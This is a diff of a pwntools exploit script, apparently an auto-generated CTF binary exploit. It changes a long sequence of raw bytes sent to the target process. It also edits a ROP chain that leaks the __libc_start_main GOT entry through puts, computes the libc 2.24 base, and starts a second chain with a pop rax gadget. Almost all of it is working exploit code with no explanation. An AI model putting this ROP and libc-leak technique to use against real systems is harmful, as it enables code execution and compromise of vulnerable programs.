|
106 | 106 | proc.recvrepeat(0.1)
|
107 | 107 |
|
108 | 108 | # input state (offset = 1)
|
109 |
| - proc.send(b'\x41') |
| 109 | + proc.send(b'\x80') |
110 | 110 |
|
111 | 111 | # input state (offset = 1)
|
112 |
| - proc.send(b'\xfe') |
| 112 | + proc.send(b'\x00') |
113 | 113 |
|
114 | 114 | # input state (offset = 1)
|
115 |
| - proc.send(b'\xef') |
| 115 | + proc.send(b'\x00') |
116 | 116 |
|
117 | 117 | # input state (offset = 1)
|
118 |
| - proc.send(b'\x73') |
| 118 | + proc.send(b'\xb4') |
119 | 119 |
|
120 | 120 | # input state (offset = 1)
|
121 |
| - proc.send(b'\x55') |
| 121 | + proc.send(b'\x00') |
122 | 122 |
|
123 | 123 | # input state (offset = 1)
|
124 |
| - proc.send(b'\x07') |
| 124 | + proc.send(b'\xff') |
125 | 125 |
|
126 | 126 | # input state (offset = 1)
|
127 |
| - proc.send(b'\xef') |
| 127 | + proc.send(b'\xfe') |
128 | 128 |
|
129 | 129 | # input state (offset = 1)
|
130 |
| - proc.send(b'\xf9') |
| 130 | + proc.send(b'\x8b') |
131 | 131 |
|
132 | 132 | # input state (offset = 1)
|
133 |
| - proc.send(b'\xea') |
| 133 | + proc.send(b'\x7d') |
134 | 134 |
|
135 | 135 | # input state (offset = 1)
|
136 |
| - proc.send(b'\xbf') |
| 136 | + proc.send(b'\xf4') |
137 | 137 |
|
138 | 138 | # input state (offset = 1)
|
139 |
| - proc.send(b'\xf2') |
| 139 | + proc.send(b'\x00') |
140 | 140 |
|
141 | 141 | # input state (offset = 1)
|
142 |
| - proc.send(b'\xff') |
| 142 | + proc.send(b'\x02') |
143 | 143 |
|
144 | 144 | # input state (offset = 1)
|
145 |
| - proc.send(b'\xfc') |
| 145 | + proc.send(b'\x92') |
146 | 146 |
|
147 | 147 | # input state (offset = 1)
|
148 |
| - proc.send(b'\x00') |
| 148 | + proc.send(b'\xcc') |
149 | 149 |
|
150 | 150 | # input state (offset = 1)
|
151 |
| - proc.send(b'\xfa') |
| 151 | + proc.send(b'\x00') |
152 | 152 |
|
153 | 153 | # input state (offset = 1)
|
154 |
| - proc.send(b'\xdc') |
| 154 | + proc.send(b'\x51') |
155 | 155 |
|
156 | 156 | # input state (offset = 1)
|
157 |
| - proc.send(b'\xf7') |
| 157 | + proc.send(b'\x00') |
158 | 158 |
|
159 | 159 | # input state (offset = 1)
|
160 |
| - proc.send(b'\x00') |
| 160 | + proc.send(b'\x98') |
161 | 161 |
|
162 | 162 | # input state (offset = 1)
|
163 |
| - proc.send(b'\x00') |
| 163 | + proc.send(b'\x94') |
164 | 164 |
|
165 | 165 | # input state (offset = 1)
|
166 |
| - proc.send(b'\xf0') |
| 166 | + proc.send(b'\x7c') |
167 | 167 |
|
168 | 168 | # input state (offset = 1)
|
169 |
| - proc.send(b'\xd9') |
| 169 | + proc.send(b'\xa8') |
170 | 170 |
|
171 | 171 | # input state (offset = 1)
|
172 |
| - proc.send(b'\xf8') |
| 172 | + proc.send(b'\x00') |
173 | 173 |
|
174 | 174 | # input state (offset = 1)
|
175 |
| - proc.send(b'\xf9') |
| 175 | + proc.send(b'\xda') |
176 | 176 |
|
177 | 177 | # input state (offset = 1)
|
178 |
| - proc.send(b'\xaa') |
| 178 | + proc.send(b'\x00') |
179 | 179 |
|
180 | 180 | # input state (offset = 1)
|
181 |
| - proc.send(b'\x8a') |
| 181 | + proc.send(b'\x02') |
182 | 182 |
|
183 | 183 | # input state (offset = 1)
|
184 |
| - proc.send(b'\xff') |
| 184 | + proc.send(b'\x00') |
185 | 185 |
|
186 | 186 | # input state (offset = 1)
|
187 |
| - proc.send(b'\xfa') |
| 187 | + proc.send(b'\x03') |
188 | 188 |
|
189 | 189 | # input state (offset = 1)
|
190 |
| - proc.send(b'\xc1') |
| 190 | + proc.send(b'\x00') |
191 | 191 |
|
192 | 192 | # input state (offset = 1)
|
193 |
| - proc.send(b'\xf9') |
| 193 | + proc.send(b'\x03') |
194 | 194 |
|
195 | 195 | # input state (offset = 1)
|
196 | 196 | proc.send(b'\x00')
|
197 | 197 |
|
198 | 198 | # input state (offset = 1)
|
199 |
| - proc.send(b'\x4a') |
| 199 | + proc.send(b'\x00') |
200 | 200 |
|
201 | 201 | # input state (offset = 1)
|
202 |
| - proc.send(b'\x00') |
| 202 | + proc.send(b'\x03') |
203 | 203 |
|
204 | 204 | # input state (offset = 1)
|
205 | 205 | proc.send(b'\x00')
|
|
706 | 706 | proc.send(b'\x00')
|
707 | 707 |
|
708 | 708 | # input state (offset = 1)
|
709 |
| - proc.send(b'\x00') |
| 709 | + proc.send(b'\xe3') |
710 | 710 |
|
711 | 711 | # input state (offset = 1)
|
712 |
| - proc.send(b'\x00') |
| 712 | + proc.send(b'\xeb') |
713 | 713 |
|
714 | 714 | # input state (offset = 1)
|
715 |
| - proc.send(b'\x00') |
| 715 | + proc.send(b'\x03') |
716 | 716 |
|
717 | 717 | # input state (offset = 1)
|
718 | 718 | proc.send(b'\x00')
|
719 | 719 |
|
720 | 720 | # input state (offset = 1)
|
721 |
| - proc.send(b'\x02') |
| 721 | + proc.send(b'\xc7') |
722 | 722 |
|
723 | 723 | # input state (offset = 1)
|
724 |
| - proc.send(b'\x80') |
| 724 | + proc.send(b'\x12') |
725 | 725 |
|
726 | 726 | # input state (offset = 1)
|
727 | 727 | proc.send(b'\x00')
|
|
738 | 738 | proc.recvrepeat(0)
|
739 | 739 | payload = p64(0x0)
|
740 | 740 | payload += p64(target_base + target_pop_rdi_ret)
|
741 |
| - payload += p64(target_base + target.got['getegid']) |
| 741 | + payload += p64(target_base + target.got['__libc_start_main']) |
742 | 742 | payload += p64(target_base + target.sym['puts'])
|
743 | 743 | payload += p64(target_base + __libc_csu_init_gadget1)
|
744 | 744 | payload += p64(0x4141414141414141)
|
|
761 | 761 | time.sleep(0.2)
|
762 | 762 |
|
763 | 763 | leaked = u64(proc.recv(6).ljust(8, b'\x00'))
|
764 |
| - libc_2_24_so_base = leaked - 0xb8f60 |
| 764 | + libc_2_24_so_base = leaked - 0x201f0 |
765 | 765 | log.info('leaked libc base: {}'.format(hex(libc_2_24_so_base)))
|
766 | 766 |
|
767 | 767 | payload = p64(libc_2_24_so_base + libc_2_24_so_pop_rax_ret)
|
|
0 commit comments